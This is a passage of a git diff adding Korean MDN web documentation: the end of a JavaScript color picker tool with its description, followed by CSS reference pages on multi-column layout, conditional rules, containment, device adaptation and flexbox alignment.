+	var CanvasSamples = (function CanvasSamples() {
+
+		var active = null;
+		var canvas = null;
+		var samples = [];
+		var zindex = null;
+		var tutorial = true;
+
+		var CanvasSample = function CanvasSample(color, posX, posY) {
+
+			var node = document.createElement('div');
+			var pick = document.createElement('div');
+			var delete_btn = document.createElement('div');
+			node.className = 'sample';
+			pick.className = 'pick';
+			delete_btn.className = 'delete';
+
+			this.uid = samples.length;
+			this.node = node;
+			this.color = color;
+			this.updateBgColor();
+			this.zIndex = 1;
+
+			node.style.top = posY - 50 + 'px';
+			node.style.left = posX - 50 + 'px';
+			node.setAttribute('sample-id', this.uid);
+
+			node.appendChild(pick);
+			node.appendChild(delete_btn);
+
+			var activate = function activate() {
+				setActiveSample(this);
+			}.bind(this);
+
+			node.addEventListener('dblclick', activate);
+			pick.addEventListener('click', activate);
+			delete_btn.addEventListener('click', this.deleteSample.bind(this));
+
+			UIComponent.makeDraggable(node);
+			UIComponent.makeResizable(node);
+
+			samples.push(this);
+			canvas.appendChild(node);
+			return this;
+		};
+
+		CanvasSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		CanvasSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		CanvasSample.prototype.updateZIndex = function updateZIndex(value) {
+			this.zIndex = value;
+			this.node.style.zIndex = value;
+		};
+
+		CanvasSample.prototype.activate = function activate() {
+			this.node.setAttribute('data-active', 'true');
+			zindex.setAttribute('data-active', 'true');
+
+			UIColorPicker.setColor('picker', this.color);
+			InputSliderManager.setValue('z-index', this.zIndex);
+		};
+
+		CanvasSample.prototype.deactivate = function deactivate() {
+			this.node.removeAttribute('data-active');
+			zindex.removeAttribute('data-active');
+		};
+
+		CanvasSample.prototype.deleteSample = function deleteSample() {
+			if (active === this)
+				unsetActiveSample();
+			canvas.removeChild(this.node);
+			samples[this.uid] = null;
+		};
+
+		CanvasSample.prototype.updatePosition = function updatePosition(posX, posY) {
+			this.node.style.top = posY - this.startY + 'px';
+			this.node.style.left = posX - this.startX + 'px';
+		};
+
+		var canvasDropEvent = function canvasDropEvent(e) {
+			var color = Tool.getSampleColorFrom(e);
+
+			if (color) {
+				var offsetX = e.pageX - canvas.offsetLeft;
+				var offsetY = e.pageY - canvas.offsetTop;
+				var sample = new CanvasSample(color, offsetX, offsetY);
+				if (tutorial) {
+					tutorial = false;
+					canvas.removeAttribute('data-tutorial');
+					var info = new CanvasSample(new Color(), 100, 100);
+					info.node.setAttribute('data-tutorial', 'dblclick');
+				}
+			}
+
+		};
+
+		var setActiveSample = function setActiveSample(sample) {
+			ColorPickerSamples.unsetActiveSample();
+			Tool.unsetVoidSample();
+			unsetActiveSample();
+			active = sample;
+			active.activate();
+		};
+
+		var unsetActiveSample = function unsetActiveSample() {
+			if (active)
+				active.deactivate();
+			active = null;
+		};
+
+		var createToggleBgButton = function createToggleBgButton() {
+			var button = document.createElement('div');
+			var state = false;
+			button.className = 'toggle-bg';
+			canvas.appendChild(button);
+
+			button.addEventListener('click', function() {
+				console.log(state);
+				state = !state;
+				canvas.setAttribute('data-bg', state);
+			});
+		};
+
+		var init = function init() {
+			canvas = getElemById('canvas');
+			zindex = getElemById('zindex');
+
+			canvas.addEventListener('dragover', allowDropEvent);
+			canvas.addEventListener('drop', canvasDropEvent);
+
+			createToggleBgButton();
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (active)	active.updateColor(color);
+			});
+
+			InputSliderManager.subscribe('z-index', function (value) {
+				if (active)	active.updateZIndex(value);
+			});
+
+			UIComponent.makeResizable(canvas, 'height');
+		};
+
+		return {
+			init : init,
+			unsetActiveSample : unsetActiveSample
+		};
+
+	})();
+
+	var StateButton = function StateButton(node, state) {
+		this.state = false;
+		this.callback = null;
+
+		node.addEventListener('click', function() {
+			this.state = !this.state;
+			if (typeof this.callback === "function")
+				this.callback(this.state);
+		}.bind(this));
+	};
+
+	StateButton.prototype.set = function set() {
+		this.state = true;
+		if (typeof this.callback === "function")
+			this.callback(this.state);
+	};
+
+	StateButton.prototype.unset = function unset() {
+		this.state = false;
+		if (typeof this.callback === "function")
+			this.callback(this.state);
+	};
+
+	StateButton.prototype.subscribe = function subscribe(func) {
+		this.callback = func;
+	};
+
+
+	/**
+	 * Tool
+	 */
+	var Tool = (function Tool() {
+
+		var samples = [];
+		var controls = null;
+		var void_sw;
+
+		var createPickerModeSwitch = function createPickerModeSwitch() {
+			var parent = getElemById('controls');
+			var icon = document.createElement('div');
+			var button = document.createElement('div');
+			var hsv = document.createElement('div');
+			var hsl = document.createElement('div');
+			var active = null;
+
+			icon.className = 'icon picker-icon';
+			button.className = 'switch';
+			button.appendChild(hsv);
+			button.appendChild(hsl);
+
+			hsv.textContent = 'HSV';
+			hsl.textContent = 'HSL';
+
+			active = hsl;
+			active.setAttribute('data-active', 'true');
+
+			function switchPickingModeTo(elem) {
+				active.removeAttribute('data-active');
+				active = elem;
+				active.setAttribute('data-active', 'true');
+				UIColorPicker.setPickerMode('picker', active.textContent);
+			};
+
+			var picker_sw = new StateButton(icon);
+			picker_sw.subscribe(function() {
+				if (active === hsv)
+					switchPickingModeTo(hsl);
+				else
+					switchPickingModeTo(hsv);
+			});
+
+			hsv.addEventListener('click', function() {
+				switchPickingModeTo(hsv);
+			});
+			hsl.addEventListener('click', function() {
+				switchPickingModeTo(hsl);
+			});
+
+			parent.appendChild(icon);
+			parent.appendChild(button);
+		};
+
+		var setPickerDragAndDrop = function setPickerDragAndDrop() {
+			var preview = document.querySelector('#picker .preview-color');
+			var picking_area = document.querySelector('#picker .picking-area');
+
+			preview.setAttribute('draggable', 'true');
+			preview.addEventListener('drop', drop);
+			preview.addEventListener('dragstart', dragStart);
+			preview.addEventListener('dragover', allowDropEvent);
+
+			picking_area.addEventListener('drop', drop);
+			picking_area.addEventListener('dragover', allowDropEvent);
+
+			function drop(e) {
+				var color = getSampleColorFrom(e);
+				UIColorPicker.setColor('picker', color);
+			};
+
+			function dragStart(e) {
+				e.dataTransfer.setData('sampleID', 'picker');
+				e.dataTransfer.setData('location', 'picker');
+			};
+		};
+
+		var getSampleColorFrom = function getSampleColorFrom(e) {
+			var sampleID = e.dataTransfer.getData('sampleID');
+			var location = e.dataTransfer.getData('location');
+
+			if (location === 'picker')
+				return UIColorPicker.getColor(sampleID);
+			if (location === 'picker-samples')
+				return ColorPickerSamples.getSampleColor(sampleID);
+			if (location === 'palette-samples')
+				return ColorPalette.getSampleColor(sampleID);
+		};
+
+		var setVoidSwitch = function setVoidSwitch() {
+			var void_sample = getElemById('void-sample');
+			void_sw = new StateButton(void_sample);
+			void_sw.subscribe( function (state) {
+				void_sample.setAttribute('data-active', state);
+				if (state === true) {
+					ColorPickerSamples.unsetActiveSample();
+					CanvasSamples.unsetActiveSample();
+				}
+			});
+		};
+
+		var unsetVoidSample = function unsetVoidSample() {
+			void_sw.unset();
+		};
+
+		var init = function init() {
+			controls = getElemById('controls');
+
+			var color = new Color();
+			color.setHSL(0, 51, 51);
+			UIColorPicker.setColor('picker', color);
+
+			setPickerDragAndDrop();
+			createPickerModeSwitch();
+			setVoidSwitch();
+		};
+
+		return {
+			init : init,
+			unsetVoidSample : unsetVoidSample,
+			getSampleColorFrom : getSampleColorFrom
+		};
+
+	})();
+
+	var init = function init() {
+		UIColorPicker.init();
+		InputSliderManager.init();
+		ColorInfo.init();
+		ColorPalette.init();
+		ColorPickerSamples.init();
+		CanvasSamples.init();
+		Tool.init();
+	};
+
+	return {
+		init : init
+	};
+
+})();
+
+
+ +

{{CSSRef}}

+ +

이 도구를 사용하면 웹용 사용자 정의 색상을 쉽게 만들고 조정하고 실험 할 수 있습니다. 또한 HEXA 색상, RGB (빨강 / 녹색 / 파랑) 및 HSL (색조 / 채도 / 밝기)를 비롯하여 CSS 에서 지원하는 다양한 색상 형식 간에 쉽게 변환 할 수 있습니다 . RGB (rgba) 및 HSL (hsla) 형식에서도 알파 채널을 제어 할 수 있습니다.

+ +

색상을 정의하는 매개 변수를 조정하면 세 가지 표준 웹 CSS 형식으로 모두 표시됩니다. 또한 현재 선택한 색상을 기반으로 HSL 및 HSV 용 팔레트와 알파가 생성됩니다. "스포이드"스타일 색상 선택 도구 상자는 HSL 또는 HSV 형식으로 전환 할 수 있습니다. 도구의 바닥에있는 상자로 색상을 드래그하고 서로 위로 움직여 색상을 비교할 수 있습니다. 상대 Z 색인 값을 조정하여 서로를 앞뒤로 이동하십시오.

+ +

이 도구는 HTML 에 적용 할 완벽한 CSS 색상을 식별하는 데 도움을줍니다 .

+ +

 

+ +

 

+ +

{{EmbedLiveSample ( 'ColorPicker_Tool', '100 %', '900')}}

+ +

위에서 작성한 생성 된 색상은 달리 명시하지 않는 한 CSS 및 HTML에서 색상이 사용되는 모든 위치에서 사용할 수 있습니다.

+ +

 

+ +

 

+ +

See also

+ +

For more on using color, see:

+ + diff --git a/files/ko/web/css/css_columns/index.html b/files/ko/web/css/css_columns/index.html new file mode 100644 index 0000000000..efe31f5761 --- /dev/null +++ b/files/ko/web/css/css_columns/index.html @@ -0,0 +1,89 @@ +--- +title: CSS Multi-column Layout +slug: Web/CSS/CSS_Columns +tags: + - CSS + - CSS Multi-column Layout + - Layout + - Overview + - Reference +translation_of: Web/CSS/CSS_Columns +--- +
{{CSSRef}}
+ +

CSS Multi-column Layout은 다단 레이아웃을 정의하는 CSS 모듈입니다. 레이아웃에서 단의 숫자와 콘텐츠가 하나의 단에서 다른 단으로 흐르는 방식, 단 사이의 간격, 구분선과 구분선의 모양 등의 지원을 포함하고 있습니다.

+ +

참고

+ +

CSS 속성

+ +
+
    +
  • {{cssxref("break-after")}}
  • +
  • {{cssxref("break-before")}}
  • +
  • {{cssxref("break-inside")}}
  • +
  • {{cssxref("column-count")}}
  • +
  • {{cssxref("column-fill")}}
  • +
  • {{cssxref("column-gap")}}
  • +
  • {{cssxref("column-rule")}}
  • +
  • {{cssxref("column-rule-color")}}
  • +
  • {{cssxref("column-rule-style")}}
  • +
  • {{cssxref("column-rule-width")}}
  • +
  • {{cssxref("column-span")}}
  • +
  • {{cssxref("column-width")}}
  • +
  • {{cssxref("columns")}}
  • +
+
+ +

관련 CSS Fragmentation 속성

+ +
+
    +
  • {{cssxref("break-after")}}
  • +
  • {{cssxref("break-before")}}
  • +
  • {{cssxref("break-inside")}}
  • +
  • {{cssxref("orphans")}}
  • +
  • {{cssxref("widows")}}
  • +
+
+ +

안내서

+ +
+
다단 레이아웃 기초 개념
+
다단 레이아웃 명세를 훑어봅니다.
+
단 꾸미기
+
구분선과 단 사이 간격을 조절합니다.
+
폭과 균형
+
요소가 모든 단에 걸쳐있도록 만들고, 한 단이 채워지는 방식을 조정합니다.
+
다단에서 오버플로 다루기
+
어떤 요소가 자신의 단을 넘쳤을 때 일어나는 일과, 컨테이너 너비에 맞추기에는 너무 많은 단이 들어있을 때 발생하는 일을 배웁니다.
+
다단에서 콘텐츠 끊기
+
CSS Fragmentation 명세의 소개와 함께 단 콘텐츠를 끊는 법을 배웁니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Multicol')}}{{Spec2('CSS3 Multicol')}}초기 정의
+ +

같이 보기

+ + diff --git a/files/ko/web/css/css_conditional_rules/index.html b/files/ko/web/css/css_conditional_rules/index.html new file mode 100644 index 0000000000..22576d5256 --- /dev/null +++ b/files/ko/web/css/css_conditional_rules/index.html @@ -0,0 +1,44 @@ +--- +title: CSS Conditional Rules +slug: Web/CSS/CSS_Conditional_Rules +tags: + - CSS + - CSS Conditional Rules + - Overview + - Reference +translation_of: Web/CSS/CSS_Conditional_Rules +--- +
{{CSSRef}}
+ +

CSS Conditional Rules는 프로세서 또는 스타일 시트에 적용되는 문서의 기능에만 기반을 두는 규칙 집합을 정의할 수 있는 CSS 모듈입니다.

+ +

참고서

+ +

@규칙

+ +
+
    +
  • {{cssxref("@document")}}
  • +
  • {{cssxref("@media")}}
  • +
  • {{cssxref("@supports")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Conditional')}}{{Spec2('CSS3 Conditional')}}초기 정의
diff --git a/files/ko/web/css/css_containment/index.html b/files/ko/web/css/css_containment/index.html new file mode 100644 index 0000000000..bbfe8f3e7c --- /dev/null +++ b/files/ko/web/css/css_containment/index.html @@ -0,0 +1,123 @@ +--- +title: CSS Containment +slug: Web/CSS/CSS_Containment +translation_of: Web/CSS/CSS_Containment +--- +

{{CSSRef}}
+ CSS Containment 사양의 목표는 개발자가 페이지의 하위 트리(subtree)를 페이지의 나머지 부분과 분리할 수 있도록 하여 웹 페이지의 성능을 향상시키는 것입니다. 브라우저가 페이지의 일부가 독립적임을 인식하면 렌더링을 최적화 하고 성능을 개선 할 수 있습니다. 사양은 단일 CSS 속성(property) {{cssxref("contain")}}을 정의합니다. 이 문서는 사양의 기본 목표를 설명합니다.

+ +

기본 예제

+ +

많은 웹 페이지에는 서로 독립적인 여러 섹션이 포함되어 있습니다. 예를들면 아래 마크업에서와 같이 아티클, 헤드라인, 콘텐츠 로 이루어진 목록입니다.

+ +
<h1>My blog</h1>
+<article>
+  <h2>Heading of a nice article</h2>
+  <p>Content here.</p>
+</article>
+<article>
+  <h2>Another heading of another article</h2>
+  <p>More content here.</p>
+</article>
+ +

각 아티클에는 CSS에서 {{cssxref("contain")}} 속성의 값으로 content 가 적용되어 있습니다.

+ +
article {
+  contain: content;
+}
+ +

각 아티클은 페이지의 다른 아티클과 독립적이므로 브라우저에 이러한 사실을 알리기 위해 contain: content가 포함되어 있습니다. 그러면 브라우저는 이 정보를 사용하여 컨텐츠를 렌더링하는 방법을 결정할 수 있습니다. 예를들어 볼 수 있는 영역 밖에있는 아티클은 렌더링하지 않을 수 있습니다. 

+ +

각 <article> 에 contain 속성의 값을 content 로 제공하면, 새 요소(element)가 삽입될 때 브라우저는 containing 요소들의 하위 트리 외부 영역을 relayout(reflow)하거나 repaint 할 필요가 없음을 인식합니다. <article> 이 내용에 따라 크기가 달라지도록 스타일을 지정하더라도(예: height: auto), 브라우저는 크기 변경을 고려해야 할 수 있습니다.

+ +

우리는 contain 속성을 통해 각 아티클이 독립적이라고 말했습니다.

+ +

content 값은 contain: layout paint의 약어입니다. 브라주어에 요소의 내부 레이아웃이 페이지의 나머지 부분과 완전히 분리되어 있으며, 요소에 대한 모든 것이 경계 내부에 그려져 있음을 알려줍니다. overflow되어 보이는 것이 없습니다.

+ +

이 정보는 페이지를 작성하는 웹 개발자에게 일반적으로 알려져 있으며, 사실 매우 분명합니다. 그러나 브라우저는 귀하의 의도를 추측할 수 없고, 아티클이 완전히 독립적일 것이라고 가정할 수 없습니다. 따라서 이 속성은 브라우저에게 이 사실을 설명하고, 그 정보를 기반으로 성능 최적화를 수행할 수 있는 좋은 방법을 제공합니다.

+ +

주요 개념 및 용어

+ +

이 사양은 오로지 {{cssxref("contain")}} 이라는 하나의 속성(property)만 정의합니다. 이 속성의 값은 해당 요소에 적용 할 포함 유형을 나타냅니다.

+ +

Layout containment

+ +
article {
+  contain: layout;
+}
+ +

Layout 은 일반적으로 전체 문서로 범위가 지정됩니다. 즉, 하나의 요소를 이동하면 전체 문서를 다른 곳으로 이동할 수 있는 것처럼 처리해야 합니다. 그러나 contain: layout 을 사용하면 브라우저에 이 요소만 확인하면 된다고 알려줄 수 있습니다. 요소 내부의 모든 항목은 해당 요소로 범위가 지정되고, 페이지의 나머지 부분에는 영향을 주지 않습니다. 그리고 containing box는 독립적인 formatting context를 설정합니다.

+ +

추가사항

+ +
    +
  • float 레이아웃은 독립적으로 수행됩니다.
  • +
  • Margin 이 layout containment 경계를 가로질러 병합(collapse)되지 않습니다.
  • +
  • layout 컨테이너는 position: absolute/fixed 의 하위 항목에 대한 containing block이 됩니다.
  • +
  • containing box는 stacking context를 생성합니다. 따라서 {{cssxref("z-index")}} 를 사용할 수 있습니다.
  • +
+ +

Paint containment

+ +
article {
+  contain: paint;
+}
+ +

Paint containment 는 기본적으로 박스를 주요 박스(principal box)의 패딩 경계에 클립(clip - 맞춰서 채우기)합니다. overflow되어 보이는 것이 없습니다. paint containment 도 layout containment 와 마찬가지입니다. (위 참조).

+ +

또다른 장점은 containing box가 화면 밖에 있으면, 브라우저가 contained 요소를 paint 할 필요가 없다는 것입니다. 이 때 요소가 box에 포함되어 있으므로 화면에 표시되지 않아야 합니다.

+ +

Size containment

+ +
article {
+  contain: size;
+}
+ +

Size containment 는 자체적으로 사용될 때 성능 최적화 방법을 많이 제공하지 않습니다. 그러나 이는 요소의 자식 크기가 요소 자체의 크기에 영향을 줄 수 없음을 의미합니다. 요소의 크기는 자식이 존재하지 않는 것처럼 계산됩니다.

+ +

contain: size 를 적용하면, 이를 적용한 요소의 크기도 지정해야 합니다. 수동으로 크기를 지정하지 않으면, 대부분의 경우 크기가 0이 됩니다.

+ +

Style containment

+ +
article {
+  contain: style;
+}
+ +

style containment 는 이름에도 불구하고 Shadow DOM에서 얻을 수 있는 범위(scope) 스타일을 제공하지 않습니다. 주요 사용 사례는, 요소에서 CSS Counter 가 변경되어 나머지 트리에 영향을 미칠 수 있는 상황을 방지하는 것입니다.

+ +

contain: style 을 사용하면 {{cssxref("counter-increment")}} 와 {{cssxref("counter-set")}} 속성이 해당 하위 트리로만 범위가 지정된 새 카운터를 만들 수 있습니다.

+ +
+

주의: style containment 는 사양에서 "at-risk" 이며, 모든 곳에서 지원하지 않을 수 있습니다(현재 파이어폭스는 지원하지 않음).

+
+ +

Special values

+ +

contain 에는 두 가지 특수한 값이 있습니다.

+ +
    +
  • content
  • +
  • strict
  • +
+ +

위의 예에서 첫 번째를 만났습니다. contain: content 는 layout 과 paint containment를 모두 활성화합니다. 사양에서는 이 값을 "광범위하게 적용하기에 합리적으로 안전" 하다고 설명합니다. size containment 를 적용하지 않으므로 자식의 크기에 의존하고, 때문에 박스 크기가 0이 될 위험이 없습니다.

+ +

가능한 많은 containment 를 얻으려면 contain: strict 를 사용할 수 있습니다. 이는 contain: size layout paint 와 같습니다. 또는 style containment 를 지원하는 브라우저에서는 다음과 같이 사용할 수 있습니다.

+ +
contain: strict;
+contain: strict style;
+ +

Reference

+ +

CSS Properties

+ +
    +
  • {{cssxref("contain")}}
  • +
+ +

External resources

+ + diff --git a/files/ko/web/css/css_device_adaptation/index.html b/files/ko/web/css/css_device_adaptation/index.html new file mode 100644 index 0000000000..bd55f655bc --- /dev/null +++ b/files/ko/web/css/css_device_adaptation/index.html @@ -0,0 +1,42 @@ +--- +title: CSS Device Adaptation +slug: Web/CSS/CSS_Device_Adaptation +tags: + - CSS + - CSS Device Adaptation + - Overview + - Reference +translation_of: Web/CSS/CSS_Device_Adaptation +--- +
{{CSSRef}}
+ +

CSS Device Adapation은 뷰포트의 크기, 줌 배율(factor) 및 방향을 정의할 수 있는 CSS 모듈입니다.

+ +

참고서

+ +

@규칙

+ +
+
    +
  • {{cssxref("@viewport")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName("CSS3 Device")}}{{Spec2("CSS3 Device")}}초기 정의
diff --git a/files/ko/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html b/files/ko/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html new file mode 100644 index 0000000000..677cf2fdaf --- /dev/null +++ b/files/ko/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html @@ -0,0 +1,211 @@ +--- +title: Aligning Items in a Flex Container +slug: Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container +--- +

{{CSSRef}}

+ +

flexbox가 웹 개발자들의 관심 받게된 이유 중 하나는 웹 최초로 최초로 적절한 정렬 기능을 제공했기 때문입니다. flexbox의 수직 정렬 기능을 이용하여 우리는 드디어 쉽게 박스(역주: 여기서 박스는 flex 컨테이너를 의미합니다)  내부를 중앙 정렬 할 수 있게 되었습니다. 이 가이드에서 우리는 flexbox의 정렬 및 끝 마추기 기능에 대해 자세히 살펴볼 것입니다.

+ +

박스 내부를 중앙 정렬 하기 위해 박스에 align-items 속성을 지정하면 교차 축에 대해 flex 항목을 정렬할 수 있습니다. 아래 경우, 교차 축은 수직 축입니다. justify-content 속성을 지정하면 flex 항목을 주축에 대해 정렬 할 수 있습니다. 아래 경우, 주축은 수평 방향입니다.

+ +

A containing element with another box centered inside it.

+ + + +

아래 예제의 코드를 살펴보세요. flex 컨테이너(역주: .box로 지정된 div 태그)나 flex 항목(역주:  .box div로 지정된 div 태그)의 크기를 조절해도 flex 컨테이너 내부는 중앙 정렬됨을 보실 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/intro.html", '100%', 700)}}

+ +

정렬 제어용 속성 목록

+ +

이 글에서 살펴볼 속성들은 다음과 같습니다.

+ +
    +
  • {{cssxref("justify-content")}} — 주축에 대해 flex 항목들을 정렬하는 방식을 제어. flex 컨테이너에 지정하는 속성.
  • +
  • {{cssxref("align-items")}} — 교차축에 대해 flex 항목들을 정렬하는 방식을 제어. flex 컨테이너에 지정하는 속성.
  • +
  • {{cssxref("align-self")}} — 개별 flex 항목을 교차 축에 대해 정렬 하는 방식을 제어. flex 항목에 지정하는 속성.
  • +
  • {{cssxref("align-content")}} — described in the spec as for “packing flex lines”; controls space between flex lines on the cross axis.
  • +
+ +

또한, 이글에서 flexbox기반 정렬에서 margin 속성 값이 어떨게 쓰이는지 살펴볼 것입니다.

+ +
+

Note: The alignment properties in Flexbox have been placed into their own specification — CSS Box Alignment Level 3. It is expected that this spec will ultimately supersede the properties as defined in Flexbox Level One.

+
+ +

교차축

+ +

align-itemsalign-self 속성들은 flex 항목들을 교차축으로 정렬하는 것을 제어합니다. 만약, flex-directionrow로 설정되어있다면 열 (column) 아래로 정렬을 하게되고, flex-directioncolumn으로 설정되어있다면 행 (row)을 따라 정렬됩니다. 

+ +

가장 간단한 flex예시는 교차축을 이용합니다. display: flex를 컨테이너에 추가하게되면, 모든 자식 항목들이 열 (row), 즉 가로 방향으로 정렬이 되는 flex 항목이 됩니다. 이 경우 가장 큰 y축의 크기, 즉 높이가 가장 큰 자식 항목이 교차축의 높이를 정의하게 되고, 나머지 자식 항목들은 이 높이에 맞추어 높이가 늘어나게 됩니다. 만약 flex 컨테이너의 높이가 지정이 되어있다면, 자식 항목 내용에 상관없이 지정된 높이 만큼 모든 자식 항목들이 늘어나게됩니다. 

+ +

Three items, one with additional text causing it to be taller than the others.

+ +

Three items stretched to 200 pixels tall

+ +

모든 항목들이 같은 높이를 갖게되는 이유는 교차축을 중심으로 정렬을 제어하는 속성인 align-items에 지정된 초기값이 stretch로 설정이 되어있기 때문입니다. 

+ +

이외에도 다른 값을 지정해서 항목들이 정렬되는 방식을 다르게 정의 할 수 있습니다:

+ +
    +
  • align-items: flex-start
  • +
  • align-items: flex-end
  • +
  • align-items: center
  • +
  • align-items: stretch
  • +
  • align-items: baseline
  • +
+ +

아래의 예시를 보면, align-items값이 stretch로 지정이 되어있습니다. 여기에 다른 값들을 넣어서 항목들이 flex 컨테이너 안에서 어떻게 정렬이 되는지 확인해보세요.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-items.html", '100%', 520)}} 

+ +

align-self로 항목 한 개를 정렬하기

+ +

The align-items property sets the align-self property on all of the flex items as a group. This means you can explicitly declare the align-self property to target a single item. The align-self property accepts all of the same values as align-items plus a value of auto, which will reset the value to that which is defined on the flex container.

+ +

In this next live example, the flex container has align-items: flex-start, which means the items are all aligned to the start of the cross axis. I have targeted the first item using a first-child selector and set that item to align-items: stretch; another item has been selected using its class of selected and given align-self: center. You can change the value of align-items or change the values of align-self on the individual items to see how this works.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self.html", '100%', 650)}} 

+ +

Changing the main axis

+ +

So far we have looked at the behaviour when our flex-direction is row, and while working in a language written top to bottom. This means that the main axis runs along the row horizontally, and our cross axis alignment moves the items up and down.

+ +

Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the vertical axis.

+ +

If we change our flex-direction to column, align-items and align-self will align the items to the left and right.

+ +

Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the horizontal axis.

+ +

You can try this out in the example below, which has a flex container with flex-direction: column yet otherwise is exactly the same as the previous example.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self-column.html", '100%', 730)}} 

+ +

Aligning content on the cross axis — the align-content property

+ +

So far we have been aligning the items, or an individual item inside the area defined by the flex-container. If you have a wrapped multiple-line flex container then you might also want to use the align-content property to control the distribution of space between the rows. In the specification this is described as packing flex lines.

+ +

For align-content to work you need more height in your flex container than is required to display the items. It then works on all the items as a set, and dictates what happens with that free space, and the alignment of the entire set of items within it.

+ +

The align-content property takes the following values:

+ +
    +
  • align-content: flex-start
  • +
  • align-content: flex-end
  • +
  • align-content: center
  • +
  • align-content: space-between
  • +
  • align-content: space-around
  • +
  • align-content: stretch
  • +
  • align-content: space-evenly (not defined in the Flexbox specification)
  • +
+ +

In the live example below, the flex container has a height of 400 pixels, which is more than needed to display our items. The value of align-content is space-between, which means that the available space is shared out between the flex lines, which are placed flush with the start and end of the container on the cross axis.

+ +

Try out the other values to see how the align-content property works.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content.html", '100%', 850)}} 

+ +

Once again we can switch our flex-direction to column in order to see how this property behaves when we are working by column. As before, we need enough space in the cross axis to have some free space after displaying all of the items.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content-column.html", '100%', 860)}} 

+ +
+

Note: the value space-evenly is not defined in the flexbox specification and is a later addition to the Box Alignment specification. Browser support for this value is not as good as that of the values defined in the flexbox spec.

+
+ +

See the documentation for justify-content on MDN for more details on all of these values and browser support.

+ +

Aligning content on the main axis

+ +

Now that we have seen how alignment works on the cross axis, we can take a look at the main axis. Here we only have one property available to us — justify-content. This is because we are only dealing with items as a group on the main axis. With justify-content we control what happens with available space, should there be more space than is needed to display the items.

+ +

In our initial example with display: flex on the container, the items display as a row and all line up at the start of the container. This is due to the initial value of justify-content being flex-start. Any available space is placed at the end of the items.

+ +

Three items, each 100 pixels wide in a 500 pixel container. The available space is at the end of the items.

+ +

The justify-content property accepts the same values as align-content.

+ +
    +
  • justify-content: flex-start
  • +
  • justify-content: flex-end
  • +
  • justify-content: center
  • +
  • justify-content: space-between
  • +
  • justify-content: space-around
  • +
  • justify-content: stretch
  • +
  • justify-content: space-evenly (not defined in the Flexbox specification)
  • +
+ +

In the example below, the value of justify-content is space-between. The available space after displaying the items is distributed between the items. The left and right item line up flush with the start and end.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content.html", '100%', 480)}} 

+ +

If the main axis is in the block direction because flex-direction is set to column, then justify-content will distribute space between items in that dimension as long as there is space in the flex container to distribute.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-column.html", '100%', 880)}} 

+ +

Alignment and Writing Modes

+ +

Remember that with all of these alignment methods, the values of flex-start and flex-end are writing mode-aware. If the value of justify-content is start and the writing mode is left-to-right as in English, the items will line up starting at the left side of the container.

+ +

Three items lined up on the left

+ +

However if the writing mode is right-to-left as in Arabic, the items will line up starting at the right side of the container.

+ +

Three items lined up from the right

+ +

The live example below has the direction property set to rtl to force a right-to-left flow for our items. You can remove this, or change the values of justify-content to see how flexbox behaves when the start of the inline direction is on the right.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-writing-mode.html", '100%', 440)}} 

+ +

Alignment and flex-direction

+ +

The start line will also change if you change the flex-direction property — for example using row-reverse instead of row.

+ +

In this next example I have items laid out with flex-direction: row-reverse and justify-content: flex-end. In a left to right language the items all line up on the left. Try changing flex-direction: row-reverse to flex-direction: row. You will see that the items now move to the right hand side.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-reverse.html", '100%', 440)}} 

+ +

While this may all seem a little confusing, the rule to remember is that unless you do something to change it, flex items lay themselves out in the direction that words are laid out in the language of your document along the inline, row axis. flex-start will be where the start of a sentence of text would begin.

+ +

Diagram showing start on the left and end on the right.

+ +

You can switch them to display in the block direction for the language of your document by selecting flex-direction: column. Then flex-start will then be where the top of your first paragraph of text would start.

+ +

Diagram showing start at the top and end at the bottom.

+ +

If you change flex-direction to one of the reverse values, then they will lay themselves out from the end axis and in the reverse order to the way words are written in the language of your document. flex-start will then change to the end of that axis — so to the location where your lines would wrap if working in rows, or at the end of your last paragraph of text in the block direction.

+ +

Diagram showing start on the right and end on the left.

+ +

Diagram showing end at the top and start at the bottom

+ +

Using auto margins for main axis alignment

+ +

We don’t have a justify-items or justify-self property available to us on the main axis as our items are treated as a group on that axis. However it is possible to do some individual alignment in order to separate an item or a group of items from others by using auto margins along with flexbox.

+ +

A common pattern is a navigation bar where some key items are aligned to the right, with the main group on the left. You might think that this should be a use case for a justify-self property, however consider the image below. I have three items on one side and two on the other. If I were able to use justify-self on item d, it would also change the alignment of item e that follows, which may or may not be my intention.

+ +

Five items, in two groups. Three on the left and two on the right.

+ +

Instead we can target item 4 and separate it from the first three items by giving it a margin-left value of auto. Auto margins will take up all of the space that they can in their axis — it is how centering a block with margin auto left and right works. Each side tries to take as much space as it can, and so the block is pushed into the middle.

+ +

In this live example, I have flex items arranged simply into a row with the basic flex values, and the class push has margin-left: auto. You can try removing this, or adding the class to another item to see how it works.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/auto-margins.html", '100%', 470)}} 

+ +

Future alignment features for Flexbox

+ +

